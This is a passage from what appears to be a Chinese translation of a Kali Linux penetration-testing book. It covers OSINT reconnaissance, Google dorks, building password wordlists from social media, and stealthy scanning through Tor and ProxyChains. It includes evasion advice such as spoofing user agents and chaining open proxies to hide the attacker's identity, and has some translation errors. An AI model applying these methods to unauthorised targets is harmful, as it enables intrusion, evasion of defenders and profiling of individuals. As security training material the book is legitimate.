信息收集是从公开可用资源获取所有相关信息的一种方式，这涉及开源情报（Open Sourcew Intelligence，OSINT）。通过OSINT的被动侦察，是进行渗透测试（或者攻击）网络（或者服务器）目标杀链的第一步。攻击者通常花费75%的时间对入侵目标进行渗透测试，在这一阶段，允许对目标进行定义、确定攻击目标的映射关系、探索其安全漏洞，以便最终进行漏洞利用。

侦察可以分为两种类型：被动侦察（passive reconnaissance）和主动侦察（active reconnaissance）。

被动侦察一般是指分析公开的信息，这些信息包括目标本身的信息、在线的公共资源信息。在获取这些信息时，测试者或攻击者不会与目标交互，他们的请求和活动不会被日志记录，也无法直接定位测试者。因此，在被动侦察中要尽可能地减少与目标的交互，与目标的交互可能会确认攻击者身份。

在本章中，你将学习被动侦察的原则与实例，主要包括如下内容：

·侦察的基本原则。

·开源情报（Open-source intelligence，OSINT）。

·线上资源。

·用脚本自动收集OSINT数据。

·获取用户相关信息。

·分析用户密码列表。

·用社交媒体提取词汇。

主动侦察则与目标直接交互，主要在第3章中介绍。


2.1　侦察的基本原则

在进行渗透测试或攻击数据目标时，侦察是杀链的第一步。这是在实际测试或攻击目标网络之前进行的。侦察的结果会给出需要额外侦察的方向或者指出在漏洞利用阶段要攻击的漏洞。

侦察活动是与目标网络或设备交互过程的一部分。

被动侦察并不与目标网络产生直接的交互。攻击者的源IP地址和活动不会被日志记录（例如，一个对目标邮件地址的谷歌搜索）。在正常的商业活动中想要区分出哪些活动是被动侦察是困难的，或者说是不可能的。

·当攻击者以一种可预期的方式与目标交互时，被动侦察可以看作是与目标的正常交互。例如，攻击者登录公司网站、浏览不同的网页、下载进一步研究的文档。这些交互活动属于可预期的用户活动，很少被看作是攻击目标的前奏。

·主动侦察涉及直接查询或其他交互活动（例如，目标网络的端口扫描）。这些活动会触发系统警报，被攻击的目标也能获取攻击者的IP地址和活动信息。在法律诉讼中，这些信息能够用来确认攻击者的身份，或抓捕攻击者。因此，测试者在主动侦察中需要额外技术手段来确保不被发现，第3章将详细介绍主动侦察与漏洞扫描。

渗透测试人员或者攻击者一般会遵循一个结构化的信息收集过程——从广泛的信息（商业信息、监管环境信息）收集，到特定具体的信息（用户账户数据）收集。

为了提高效率，测试人员需要准确地知道他们需要找寻的信息，以及在开始收集信息前就知道这些数据怎么使用。利用被动侦察和限制收集数据的数量，能最大限度地降低被发现的风险。


2.1.1　开源情报

一般来说，渗透测试或进行攻击的第一步是开源情报收集。OSINT指的是从公共的资源，特别是互联网上，进行信息收集。可用的信息是相当多的——大多数的情报机构和军事组织正积极地在OSINT中收集目标信息，并防止自身数据的泄露。

OSINT可以分为两种类型：进攻和防守。进攻型需要分析对防范目标进行攻击所需的所有数据，而防御型只是收集以前的违规数据和与目标相关的其他安全事件的技术。

图2.1描绘了OSINT的基本思路。


2.1.2　进攻型OSINT

需要收集的目标信息依赖于渗透测试的初始目标。例如，如果测试人员要访问财务数据，那么他们需要相关人员（财务总监、应收账目、应付款，等等）的姓名和履历信息、他们的用户名和密码。如果攻击路线包括社交工程，他们可能会将这个信息补充上，以提供请求信息的真实性。
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图2.1　OSINT基本思路

·域名（Domain names）：在外部场景中识别攻击者或渗透测试人员的目标是通过域名开始的，域名是OSINT中最关键的元素。

·DNS侦察和路由映射（DNS reconnaissance and route mapping）：一旦测试员确定其感兴趣的目标在线，下一步就是识别目标的IP地址和路由。

DNS侦察关心的是：识别谁拥有一个特定域或一系列IP地址（whois-类别信息），定义实际域名的DNS信息和标识目标的IP地址，以及在渗透测试员或攻击者与最终目标之间的路由。

搜集这些信息是半主动的，一些信息是免费开源的，而另一些信息来自第三方实体，例如DNS注册机构。虽然注册机构可能会收集IP地址和关于攻击者的请求的数据，但很少提供终端目标的信息。可以由目标直接检测到的信息是从不用来评估或者保留的，如DNS服务器日志。因为需要的信息可以用一个确定的系统级、有条理的方法查询到，所以也可以自动收集信息。

在下一节中，我们将讨论如何使用Kali Linux中的简单工具来枚举所有域名。


2.1.3　Maltego

对个人或组织的侦察，Maltego是OSINT框架中最强大的一个。这是一种GUI工具集，通过各种方法收集个人在互联网上公开的信息。它还能够枚举域名系统（DNS），强力破解普通DNS，并以易于阅读的格式收集来自社交媒体的数据。

如何在基于目标的渗透测试或红队练习中使用Maltego M4，我们可以利用此工具开发数据可视化软件，用于处理我们收集的数据。社区版将随着Kali Linux发行。访问该应用程序的最简单方法是在终端中输入maltegoce。在Maltego中，这类任务被称为转换（transforms）。转换内置在工具中，被定义为执行特定任务的代码脚本。Maltego还提供多种插件，如sensepost工具集、shodan、Virustotal、threatminer等。

为了访问Maltego，需要在Paterva创建一个账户。可以通过访问https://www.paterva.com/web7/community/community.php
 创建一个账户。创建账户并且成功登录Maltego应用程序后，应该可以看到如图2.2所示的界面。
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图2.2　登录Maltego启动界面

点击Next，你应该准备好所有的设置如图2.3所示。
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图2.3　Maltego设置界面

现在单击Finish，就可以使用Maltego了，在启动Maltego引擎的实例时运行以下选择。

通常，当我们选择Maltego公共服务器时，将选择以下服务：

·Company Stalker（公司跟踪）：用于获取域中的所有电子邮件地址，然后查看哪一个与社交网络有关联。它还下载并提取互联网上已发布文档的元数据。

·Find Wikipedia edits（查找维基百科编辑）：这里我们有域作为输入，它寻找维基百科编辑。

·Footprints L1（足印L1）：执行域的基本足印。

·Fortprint L2（足印L2）：执行域的中等级别足印。

·Fortprint L3（足印L3）：这需要深入一个域，因为它占用了所有的资源，通常被小心使用。

·Fortprint XML（足印XML）：这适用于大型目标，例如托管自己的数据中心的公司，并尝试通过查看发送方策略框架（Sender Policy Framework，SPF）记录来获得网络块，以及将委派的DNS委托给其名称服务器。

·Person–Email Address（私人–电子邮件地址）：用于获取某人的电子邮件地址，并查看互联网上使用的位置。输入的不是一个域，而是一个完整的电子邮件地址。

·Prune Leaf entries（修剪条目）：这提供了修剪中的实体列表。

·Twitter digger X（推特挖掘机X）：这是推特推文分析器别名。

·Twitter digger Y（推特挖掘机Y）：这涉及推特的关联，在其中发现、提取和分析推文。

·Twitter Monitor（推特监视器）：这可以用于执行操作来监视推特的主题标签（hashtag），和围绕某个短语提到的实体。输入是短语。

·URL to Network and Domain Information（网络和域信息的URL）：这使用URL来标识域的详细信息。

图2.4是Maltego为公众提供的可用选项列表：
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图2.4　Maltego可用的选项列表

攻击者从Footprint L1开始，基本的任务是了解域、潜在可用的子域名和相关IP地址。以采集部分信息开始是非常好的；自然，攻击者也可以使用前面提到的其他机器来实现目标。选择机器后，单击Next并指定一个域，例如packtpub.com。图2.5提供了cyberhia.com的概述。

[image: ]


图2.5　cyberhia.com目录


2.1.4　CaseFile

CaseFile是Maltego的姊妹版。它是一种离线和视觉智能应用程序，可用于确定真实连接，区分100种不同类型信息。它使攻击者能够快速查看所有级别的顺序关系，并找到其他不可发现或被忽视的链接。

CaseFile也可以被认为是一种数据分析工具，在取证调查过程中可能非常有效，并且还可以上传自定义数据集并建立链接关系。这可以可视化以CSV、XLS和XLSX格式存储的数据集。一旦攻击者打开CaseFile，他们将能够构建自己的场景，例如，图2.6表示了一个用户John Doe使用多个智能设备，如PC、手机、智能手机以及使用电子邮件发送恶意软件的笔记本电脑之间的关系。
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图2.6　用户与多个智能设备的关系图

攻击者如何在渗透测试中使用此工具？它可以用于几乎所有类型信息的调查、收集、分析和智能处理。这不仅非常方便，也可以与多人共享。


2.1.5　Google缓存

来自互联网的东西并不意味着会从Google删除。被Google访问过的页面都被备份为快照存放在Google缓存中。通常情况下，可以根据搜索查询来查看Google是否可以为你提供最佳的可用页面。同样可以用来收集关于目标的信息：例如，被采集的数据库的详细信息已经发布在sampledatadumpwebsite.com上，该网站或该链接已经从互联网上消失。如果Google已访问该页面，则此信息会为攻击者提供大量信息，例如用户名、哈希密码、正在使用的后端类型以及其他相关的技术和策略信息。以下链接是收集过去数据的第一级：

·http://cachedview.com/




·http://webcache.googleusercontent.com/search?q=cache：cyberhia.com




·http://web.archive.org/web/*/




图2.7是谷歌的Web缓存在2017年2月6日保持的cyberhia.com网站信息截屏。
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图2.7　谷歌缓存cyberhia.com信息

我们将在后面的Google Hacking数据库部分中讨论Google隐藏的更多内容。


2.1.6　抓取

攻击者利用从网站提取的大量数据集，进而将提取的数据存储到本地文件系统中，这种技术称为抓取或网页抓取。在下一节中，我们将使用Kali Linux中最常用的一些工具来完成数据抓取。


2.1.7　收集姓名和电子邮件地址

theHarvester工具是一个Python脚本，该脚本借助流行的搜索引擎和其他一些站点来进行搜索，如电子邮件地址、主机以及子域站点等。

使用theHarvester工具是相当简单的，只需通过几个命令参数来进行设置。可用的选项如下：

·-d：用来确定搜索的域；即一般的域或者目标网站。

·-b：用来确定提取信息的来源；来源必须是下面的一种：

·Bing、BingAPI、Google、Google-Profiles、Jigsaw、LinkedIn、People123、PGP，或者以上的全部。

·-l：该选项使theHarvester只收集来自特定数目的返回搜索结果的数据。

·-f：用来保存最后结果，保存为HTML文件或者XML文件。如果省略该选项，结果将会显示在屏幕上，但是不会被保存。

图2.8说明了对Facktpub.com域的一个简单theHarvester索引搜索。
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图2.8　用theHarvester搜索Facktpub.com域


2.1.8　获得用户信息

许多渗透测试员收集用户名和电子邮件地址，因为这些信息经常用于登录目标系统。

最常用的工具是网页浏览器，用来手动搜索目标组织的网站，也包括第三方站点，例如LinkedIn或Jigsaw。

Kali包含的一些自动工具可以支持手动搜索。

以前雇员的电子邮件地址仍然可以使用。在实行社交工程攻击时，对一个从前雇员来的直接信息请求，通常导致一个对攻击者的重定向，该信息能使攻击者“可信”，可能被当作前雇员对待。此外，许多机构不能正确地终止员工账号，这些证书有可能仍会给予访问目标系统的权限。


2.1.9　Shodan和censys.io

在易受攻击的主机的海洋中，哪里可以找到它？攻击者通常会利用现有的漏洞来获取系统的访问权限，所以最简单的方法之一是搜索Shodan。Shodan是最疯狂的搜索引擎之一，可让互联网上的任何人使用各种过滤器查找连接到互联网的设备。可以通过链接https://www.shodan.io/
 访问Shodan。这是全球搜索信息的可选网站之一。如果搜索到公司的名称，它将提供其数据库中具有的任何相关信息，例如，IP地址、端口号和正在运行的服务。

在主机上运行IIS 5.0的https://www.shodan.io/
 屏幕截图如图2.9所示。
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图2.9　从网站运行IIS 5.0的主机屏幕

类似于Shodan的攻击，现在，我们也可以利用scans.io API或censys.io作相关信息采集，它们能提供IPv4主机、网站认证的更多信息，以及其他存储的信息。图2.10提供有关Microsoft.com的信息。
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图2.10　有关Microsoft.com的信息


2.2　Google黑客数据库

最近，Google成了人们更新数据的方式。Google成为搜索任何未知东西、收集相关主题信息的通用工具。在本节中，我们将详细介绍渗透测试人员如何通过dork（呆子）来利用Google。


2.2.1　使用dork脚本来查询Google

了解Google Hacking数据库的第一步是了解所有典型的Google运算，就像机器级编程工程师必须了解计算机操作代码一样。这些Google运算是Google查询的一部分，搜索的语法如下：

Operator：itemthatyouwanttosearch

操作、冒号和itemthatyouwanttosearch之间没有空格。

表2.1列出了所有典型的谷歌运算操作。

表2.1　谷歌运算操作
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图2.11显示了一个简单的Google dork在日志文件中搜索用户名。

dork搜索是allintext：username filetype：log：

更具体的操作，我们可以参考Google的指南：http://www.googleguide.com/advanced_operators_reference.html
 ，并利用众所周知的Google dorks：https://www.exploit-db.com/google-hacking-database/
 来完成。


2.2.2　DataDump网站

为了在网络上更迅速、更有效地分享信息，现场应用（the on-spot apps）进行了创新，如pastebin.com。自然，这是开发人员存储应用程序的源代码、加密密钥和其他机密信息时留下的主要缺点之一。这种在线信息为攻击者提供了丰富的信息列表，攻击者可以制定更集中的攻击。

[image: ]


图2.11　简单的Google dork搜索用户名

归档论坛还会显示特定网站的日志，或者以前曾被黑客入侵的黑客攻击事件。Pastebin提供此信息。图2.12显示了目标机密信息的列表。
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图2.12　目标机密信息的列表

什么是呆子（Dork）？呆子形容一个人社交无能、尴尬、不在乎任何实践。


2.2.3　使用脚本自动收集OSINT数据

在信息安全研究领域，总是考虑如何节省收集相关信息的时间，而把更多的时间用于关注脆弱性研究和开发。在本节中，我们将更多地关注如何使用OSINT自动化工具，使被动侦察更有效。
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前面是一个非常简单的自动化脚本，利用一些在Kali的命令行工具，存储输出在多个文件中，没有数据库。然而，攻击者可以利用类似的脚本来自动化大多数命令行工具，以获取大部分信息。


2.2.4　防守型OSINT

防守型OSINT通常可以看到已经被掌控的内容，并且在渗透测试活动期间看看这些信息是否有价值。如果渗透测试的目标是演示真实世界的场景，那么根据这些数据可以很方便地初步识别已经掌控的类似目标。大多数组织只修复受影响的平台或主机，很多时候他们忘记了其他类似的环境。防守型OSINT大致在三个地方搜索。

1.暗网

暗网（Dark Web）是Tor服务器及其客户端之间存在的加密网络，而暗网仅仅提供数据库和一些Web服务内容，由于人为或其他原因，常规搜索引擎无法对其进行搜索。对于一些制药公司，黑市可能会出现被禁药物销售。作为示例，图2.13是从洋葱网站截获的（4yjes6zfucnh7vcj.onion/category/86），由于洋葱网站经常变化，在以后可能不能看到这个截屏内容了。
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图2.13　暗网网站截图

2.安全漏洞

安全漏洞是指通过绕过底层安全机制，未经授权访问数据、应用程序、服务、网络或设备的任何事件。

有两个黑客访问的网站http://zone-h.com/?zh=1
 和https://haveibeenpwned.com
 。这些网站有一些漏洞网站网址和它们的详细资料。

例如，http://testfire.net/
 被一个地下组织命名为沙特黑客（Saudi hackers）。如图2.14所示的网站提供了技术材料。

3.威胁情报

威胁情报是控制、计算、提炼一个组织的潜在信息，信息包括威胁、渗透、攻击一个组织的内容。这种情报的主要目的是确保组织意识到当前的风险，如高级持久性威胁（Advanced Persistent Threats，APT）、零日漏洞（Zero Day exploits），以及其他严重的外部威胁。例如，100万张信用卡的信息，在一家零售业公司A通过APT被偷盗，公司B将会得到警告、通报，并请他们注意设备安全。
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图2.14　http://zone-h.com/?zh=1
 网站截图

然而，由于缺乏对信息来源的信任、对于威胁的概率认识，组织有可能需要花费很长时间才能做出可行的决定。在上述示例中，B公司可能有2000家商店被取代或停止所有交易。

这些信息可能被攻击者利用。然而，这种信息被认为是被动侦察活动，因为到目前为止，还没有对目标发起直接攻击。

渗透测试或攻击者总是会订阅开源威胁情报的框架，如STIX和TAXII。


2.2.5　分析用户密码列表

迄今为止，你已经学会了使用被动侦测来收集目标机构的用户名和生物信息；攻击者也可以做到这些。下一步就是使用这些信息来创建用户和目标的密码列表。

可以下载常用的密码列表，并存储在Kali系统中的/usr/share/wordlists目录中。这些列表反映了很多用户的爱好，应用程序定期消耗列表中的密码，这样在转换到队列的下一个密码之前，会用到每一个可能的密码。

幸运的是，通用用户密码分析器（Common User Password Profiler，CUPP）可以让测试员针对特定的用户生成其对应的特殊wordlist文件。CUPP在Backtrack 5r3被提出。然而在Kali中必须下载后才可使用。为了获得CUPP，可输入以下命令：
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这将会把CUPP下载在本地目录中。

CUPP是一个Python脚本，通过以下命令，可以在CUPP目录中简单地调用：
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以交互的方式启动CUPP，这种交互方式可以提示用户利用指定的信息元素来创建wordlist文件。简单的例子如图2.15所示。
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图2.15　使用CUPP创建wordlist

在交互模式下创建完wordlist后，将其放在CUPP目录中。


2.3　创建自定义单词列表来破解密码

在Kali Linux中可以使用多种工具来创建自定义的单词列表，用于破解密码。先介绍几个典型工具。


2.3.1　使用CeWL来映射网站

CeWL是一个Ruby应用程序，给定URL指定的深度，选择下面的外部链接，返回一个可以用于密码破解的单词列表，如John the Ripper。

图2.16提供了来源于https://www.google.com
 索引页的自定义单词列表。
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图2.16　自定义的单词列表


2.3.2　使用Twofi从Twitter提取单词

我们可以使用Facebook、Twitter、LinkedIn等社交媒体来描述一个人。Twofi（Twitter words of Instest）是用Ruby脚本实现的推特应用程序，用来生成破解密码的单词列表。

为了使用Twofi，我们必须有一个有效的twitter API密钥和API密码。图2.17显示如何在被动侦察期间利用Twofi形成我们的自定义密码字列表，在下面的示例中，我们运行twofi–m 6-u@PacktPub>filename，生产的自定义单词列表文件发布到@PacktPub推特手柄。在个人有针对性的攻击中，Twofi将会更加强大。
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图2.17　使用有效的twitter API密钥和API密码登录Twofi


2.4　小结

在攻击过程或者杀链中的第一个实际步骤是进行探测来确定攻击目标和潜在的攻击路由。被动探测访问公共数据。这是一个秘密进行的过程，攻击者的IP地址与活动不与正常访问区别开。然而，这些信息在进行社交网络攻击时起着决定性作用，它对其他类型的攻击也有着促进作用。

下一章我们将利用OSINT结果评估主动侦察类型。虽然主动侦察技术会带来更多信息，但也增加了被检测的风险。因此，重点是高级的隐秘技术。


第3章　外网和内网的主动侦察

主动侦察阶段是为了尽可能多地收集与目标有关的信息，这些信息用来帮助杀链的攻击实施。

我们已经知道如何使用OSINT完成几乎检测不到的被动侦察，这种侦察可以产生大量关于目标组织及其用户的信息。

主动侦察是建立在开源的成果和被动侦察之上，并侧重于使用探测来确定到达目标的路径，暴露目标的攻击面（attack surface）。在一般情况下，复杂的系统有更大的攻击面，并且每个面都可被利用和再利用，以支持其他的攻击。

虽然主动侦察会产生更多更有用的信息，但是，由于与目标系统的相互作用可能会被记录，并且可能会通过防火墙、入侵检测系统（IDS）、入侵阻止系统（IPS）等保护设施触发报警。当对攻击者有用的数据增加时，被检测到的风险同样增加，如图3.1所示。
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图3.1　攻击数据与风险关系图

为了提高提供详细的主动侦察信息的有效性，我们的重点将是使用隐形的、不易察觉的技术。

在这一章中，你将学到：

·隐形扫描策略。

·外部和内部设施、主机发现和枚举。

·应用综合侦察，特别是recon-ng。

·使用DHCP枚举内部主机。

·渗透测试时有用的Microsoft Windows命令。

·利用默认配置。


3.1　隐形扫描策略

被目标发现是主动侦察的最大风险。使用测试人员的时间、数据戳、源IP地址及其他附加信息，目标可能识别出侵入侦察的来源。因此，采用隐形技术，可以将被发觉的概率降到最低。

当采用隐形技术侦察时，测试人员模拟黑客的行动需要做到以下几点：

·伪装工具签名来逃避检测和触发警报。

·将攻击隐藏于合法流量中。

·修改攻击，隐藏其流量的来源和类型。

·使用非标准的流量类型或加密来使攻击隐形。

隐形扫描技术包括以下几个方面的全部或部分：

·调整源IP栈和工具识别设置。

·修改数据包的参数（nmap）。

·使用代理的匿名网络（ProxyChains和Tor网络）。


3.1.1　调整源IP栈和工具识别设置

在渗透测试人员（或攻击人员）开始测试之前，必须保证禁用或关闭所有Kali不必要的服务。

例如，如果本地正在运行不是必需的DHCP守护进程，那么DHCP可能与目标系统交互，这种交互可能会被记录，并且发送警报到目标的管理员。

一些商业和开源工具（例如，Metasploit框架）用一个标识序列标记它们的数据包。虽然这可能对测试后分析系统的事件日志很有用（由一个特定的测试工具发起的事件可以直接与系统的事件日志进行比较，用于确定网络侦测情况并响应攻击），但是它也可能触发某些入侵检测系统。测试你的工具，用它来攻击一个实验系统，确定被标记的数据包，并且要么改变标签，要么小心使用工具。

识别标签有最简单的方法，即使用工具在虚拟目标系统上创建新的应用，然后查看系统日志中与工具名称相关的记录。此外，使用Wireshark捕获攻击者和目标虚拟机之间的信息流，然后搜索抓包（packet capture）文件，寻找由测试工具产生的那些关键字（工具的名称、供应商、证书序列号等），也是一种有效的方法。

在Metasploit框架中的用户代理（useragent），可以通过修改http_form_field选项改变。在msfconsole提示下，使用auxiliary/fuzzers/http/http_form_field选择选项，然后设置一个新的用户代理，如图3.2所示。
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图3.2　设置新用户代理

在本实例中，用户代理被设定为谷歌的索引蜘蛛程序——Googlebot。这是一种常见的自动化应用程序，用于访问和索引网站，很少引起网站所有者的注意。

识别合法的用户代理，参考实例：www.useragentstring.com
 。


3.1.2　修改数据包参数

主动侦察最常用的方法是对目标发动扫描——发送定义的数据包到目标，然后利用返回的数据包来获取信息。这种类型最常用的工具是网络映射器（Network Mapper，nmap）。

为了有效使用nmap，必须拥有root级别的权限。这是典型的应用程序操作的数据包，也是Kali默认以root级别启动的原因。

当试图减少检测，用一些隐形技术来避免检测及随后的报警，包括以下内容：

·测试之前确定扫描的目标，发送需要确定目标的最小数量的数据包。例如，如果你想确认一个虚拟主机的存在，首先需要确定80端口，这个基于Web服务的默认端口是开放的。

·避免可能与目标系统连接的扫描，避免可能泄漏数据的扫描。不要ping目标，或使用同步（SYN）和非常规数据包扫描，如确认（ACK）、完成（FIN）和复位（RST）数据包。

·随机化或欺骗分组设置，如源IP和端口地址，以及MAC地址。

·调节定时以减缓目标端的包的到来。

·通过包的分解或附加随机数据来改变数据包大小，以此混淆设备对数据包的检测。

例如，如果你想进行一次隐形扫描并且做最小化的侦测，可以使用以下nmap命令：
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表3.1详细解释了前面的命令。

表3.1　namp命令参数简表
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总之，这些选项将创建一个非常缓慢的扫描，隐藏扫描源的真实身份。然而，如果数据包太不常用、修改太多，也可能吸引目标的注意；因此，许多测试者和攻击者利用匿名网络，尽量最小化侦测。


3.1.3　使用匿名网络代理

在本节中，我们将探讨攻击者在网络上保持匿名性所使用的两个重要工具——Tor和Privoxy。

Tor是第三代洋葱路由（www.torproject.org
 ），开源软件，提供免费接入的匿名网络代理。洋葱路由加密用户流量使网络匿名，并通过一系列的洋葱路由器发送匿名流量。在每一个路由器，解密加密信息，得到路由信息，然后再发送该消息到下一个节点。它被比喻为逐步剥洋葱，故以此命名。它通过保护用户的IP流的源地址和目的地址，抵御流量分析的攻击。

在这个例子中，使用Tor的Privoxy代理服务器（一个非高速缓存的Web代理）位于与因特网通信的应用程序的中间，利用先进的过滤技术，保护用户隐私、移除广告，并将潜在的恶意数据发送给测试者。

安装Tor，请执行下列步骤：

1.首先执行apt-get update和apt-get update命令，然后运行下面的命令：
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2.一旦安装了Tor，编辑位于/etc目录下的proxychains.conf文件。

该文件规定了使用在Tor网络系统上的测试系统使用代理服务器的数量和顺序。代理服务器可能停止工作，或者它们可能遇到重载荷（导致缓慢或潜连接）；如果发生这种情况，该文件定义的proxychain将失效，因为预期链路正在消失。因此，禁止使用strict_chains，并且启用dynamic_chains，这就保证了连接将被路由，如图3.3所示。
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图3.3　编辑proxychains.conf文件

3.接下来，编辑[ProxyList]部分，以确保socks5代理存在，如图3.4所示。
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图3.4　编辑[ProxyList]

在网上很容易找到开放代理，并添加到proxychains.conf文件中。测试人员可以利用这一优势，进一步模糊自己的身份。例如，如果有报道说某一个国家或社区的IP地址一直受到网络攻击，寻找本地的开放代理，并将它们添加到你的列表，或单独配置一个文件。

4.从终端窗口启动Tor服务，请输入以下命令：
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5.使用下面的命令验证Tor已经启动：
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验证Tor网络正在工作，并提供匿名连接是很重要的。

6.确认你的源IP地址，从终端输入以下命令：
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这将启动Iceweasel浏览器并打开一个网站，提供与网页连接的源IP地址。

7.注意IP地址，然后，使用以下的proxychains命令调用Tor路由：

[image: ]


在此特定实例中，IP地址被确定为96.47.226.60。从终端窗口查询的IP地址表明，某个传播正在从Tor出口节点退出，如图3.5所示。
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图3.5　查询节点的截图

通过访问https://check.torproject.org
 ，你也可以验证Tor的功能是否正常。

虽然通信使用Tor网络现在受到保护，但当你的系统使DNS请求提供你的身份到ISP时，DNS可能发生泄漏。你可以检查DNS泄漏，地址为：www.dnsleaktest.com
 。

大多数命令行可以在使用proxychains访问Tor网络的控制平台上运行。

在使用Tor时，要牢记如下注意事项：

·Tor提供匿名服务，但它不能保证隐私。出口节点的业主都能够嗅出流量，也有可能会访问用户的凭据。

·在Tor浏览器套件中的漏洞，据称被执法部门用于探测系统并获取用户信息。

·ProxyChains不处理UDP流量。

·某些应用程序和服务无法在这样的环境下运行，实际上，Metasploit与nmap可能不能运行。nmap的隐身SYN扫描被ProxyChains终止，且连接扫描被调用时；这可能会泄漏信息。

·某些浏览器的应用程序（ActiveX、PDF、Flash、Java、RealPlay和QuickTime），可能用于获取你的IP地址。

·攻击者也可以使用随机链接。使用此选项，ProxyChains将从我们的列表中随机选择IP地址，并用它们来创建ProxyChain。这意味着每次使用ProxyChains时，代理链将看起来与目标不同，从而更难从源头跟踪流量。

·为此，以类似的方式编辑/etc/proxychains.conf文件，将dynamic chains改为注释，取消random_chain注释，因为我们一次只能使用一个选项。

·此外，攻击者可以使用chain_len取消注释行，然后在创建一个随机代理链时确定链中的IP地址数。

这项技术可以让攻击者在网上保持匿名。

Tor-Buddy脚本允许你控制Tor IP地址的刷新频率，但是自动识别用户的信息非常困难（http://sourceforge.net/projects/linuxscripts/files/Tor-Buddy/
 ）。


3.2　DNS侦察和路由映射

一旦测试员确定其感兴趣的目标在线，下一步就是识别目标的IP地址和路由。

DNS侦察关心的是：识别谁拥有一个特定域或一系列IP地址（whois-类别信息），定义实际域名的DNS信息和标识目标的IP地址，以及在渗透测试员或攻击者与最终目标之间的路由。

搜集这些信息是半主动的，一些信息是免费开源的，而另一些信息则来自第三方实体，例如DNS注册机构。虽然注册机构可能会收集IP地址和关于攻击者的请求的数据，但很少提供终端目标的信息。可以由目标直接检测到的信息是从不用来评估或者保留的，如DNS服务器日志。

因为需要的信息可以用一个确定的系统级、有条理的方法查询到，所以也可以自动收集信息。

DNS信息可能包括旧的或者不正确的单元。为了最小化错误的信息，可以查询不同源服务器以及用不同的工具来交叉验证结果。评估结果，并手动识别任何可疑的发现。用一个脚本来自动收集信息。脚本应该创建一个渗透测试的文件夹，然后为每个正在运行的应用创建一系列文件夹。在脚本执行完每个命令后，直接把结果传送给指定的文件夹。

whois命令

研究IP地址空间的第一步是识别分配给目的网站的地址。一般通过使用whois命令来完成，该命令允许人们查询互联网资源中的相关信息数据库，数据库包含注册用户的域名或者IP地址。依赖于查询的数据库，对whois请求的响应将会提供名字、物理地址、电话号码和电子邮件地址（在社交工程攻击中是有用的），也包括IP地址和DNS服务器名。

攻击者用whois查询语句可以得到：

·支持基于查询中指定的位置或者人员的社交网络攻击。

·识别物理攻击的位置。

·识别用于war dialing攻击，或者社交工程攻击的电话号码。

·实施递归的研究来定位其他托管在同一个服务器的域，例如目标或者由同一个用户操作的服务器；如果它们是不安全的，攻击者可以利用它们得到服务器管理员的权限，然后攻克目标服务器。

·在域到期的情况下，攻击者可以试图改变域的大小，并创建一个外观相似的网站来危害访问者，这些访问者以为他们访问的是原来的网站。

·攻击者将用权威的DNS服务器来帮助DNS勘测，权威服务器有需要查找的那个域的记录。

注意，越来越多的实体使用第三方来保护数据，有一些域，例如.gov和.mil可能不会被公共域访问。

发给这些域的请求会被记入日志。几个在线列表有效地描述了指定给政府使用的域和IP地址；大多数工具都有“不联系”地址选项，且应该将政府域输入这些字段，来避免错误的关注类型。

使用whois查询语句的最简单方式是使用命令行。如图3.6所示，该图显示了使用whois命令获取cyberhia.com域的相关信息：
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图3.6　使用whois命令获取cyberhia.com域的相关信息

返回的whois记录包含地理信息、名字和联系信息——所有会导致社交工程攻击的信息。

有几个自动查找询问whois的网站，攻击者可以利用这样站点，在目标和他们之间插入一个步骤；然而，执行查找的站点可能会记录查询者的IP地址。


3.3　综合侦察应用

虽然Kali包含多个工具以促进侦察，许多工具包含相同的功能，但是将数据从一个工具导入另一个通常是一个复杂的手动过程。大多数测试者选择工具的一个子集，并使用脚本调用它们。

最初的综合侦察工具是命令行工具，附带一组定义的功能；其中，最常用的是DMitry工具（Deepmagic Information Gathering Tool）。DMitry可以执行whois查询、检索netcraft.com信息，搜索子域、电子邮件地址，并进行TCP扫描。不幸的是，除了这些功能，它是不可扩展的。

图3.7提供了有关在www.cyberhia.com
 上运行Dmitry的详细信息：
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图3.7　在www.cyberhia.com上运行Dmitry命令

最新的进展创造了综合框架应用程序，结合了主动侦察和被动侦察；接下来我们将详细介绍recon-ng。


3.3.1　recon-ng框架

recon-ng框架是进行（主动和被动）侦察的开源框架。像Metasploit框架和社会工程师工具包（Social Engineer Toolkit）一样，recon-ng采用了模块化的框架。每个模块是一个定制的cmd解释器，为执行特定任务作预配置。

recon-ng框架及其模块用Python编写的，为方便测试，允许渗透测试人员轻松地建立或改变模块。

recon-ng框架工具利用第三方API进行一些评估；这种额外的灵活性意味着reconng采取的活动可能会被第三方跟踪。用户可以自定义一个useragent字符串或代理请求，以尽量减少警告目标网络。

默认情况下kali的新版中都安装了recon-ng。通过recon-ng收集的所有数据被放置在一个数据库中，使你能够创建针对存储数据的各种报告。用户可以选择报告模块中的任意一个来自动创建，可以是CVS报告，也可以是HTML报告。

要启用程序，在提示符下输入recon-ng，如图3.8所示。初始屏幕将显示本模块的数量，并且帮助命令将显示可应用的命令。

要显示可用的模块，在类型提示符recon-ng>后输入show。要加载特定的模块，输入load，其后紧跟模块的名称。在输入中，按下Tab键会自动完成命令的输入。如果模块具有独特的名称，可以输入名称的独特之处，模块载入将不加载完整路径。

输入info，见图3.9，将为你提供有关模块的工作原理，并在必要时获得API密钥。

一旦模块被加载，使用set命令设置选项，然后输入run来执行，如图3.9所示。
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图3.8　输入recon-ng命令启动程序
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图3.9　使用info查看模块

总的来说，依靠recon-ng的测试人员需要做到以下几点：

·使用Whois、Jigsaw、Linkedin和Twitter来获得连接（用损坏的模块提取并呈现电子邮件数据）。

·识别主机。

·使用hostop、ipinfodb、maxmind、uniapple和wigle识别主机及个人的地理位置。

·使用netcraft及相关模块识别主机信息。

·确定以前被攻击入侵过，在互联网上泄漏过的账户及其密码信息（pwnedlist模块、wascompanyhacked、xssed和punkspider）。


IPv4


IP（因特网协议）地址是识别连接到私有网或者公共网的设备的唯一号码。今天，因特网大部分是基于IPv4的。Kali包括几个工具用来帮助DNS侦察，如表3.2所示。

表3.2　Kali侦察DNS的几个工具
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测试期间，大多数调查者运行fierce来确认所有可能已经识别的目标，然后运行至少两个综合性的工具（例如，dnsenum和dnsrecon）来产生最多的数据，并提供一个交叉确认等级。

在图3.10中，使用dnsrecon产生一个标准的DNS记录搜索，并且这个搜索对于SRV记录是特定的。每个例子的结果摘录见图3.10。
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图3.10　使用dnsrecon搜索域名相关信息的截图

DNSrecon允许渗透测试员获得SOA记录，名称服务器（name server，NS），邮件交换（mail exchanger，MX）主机，使用发送者策略框架（Sender Policy Framework，SPF）发送电子邮件的服务器，以及使用的IP地址范围。


IPv6


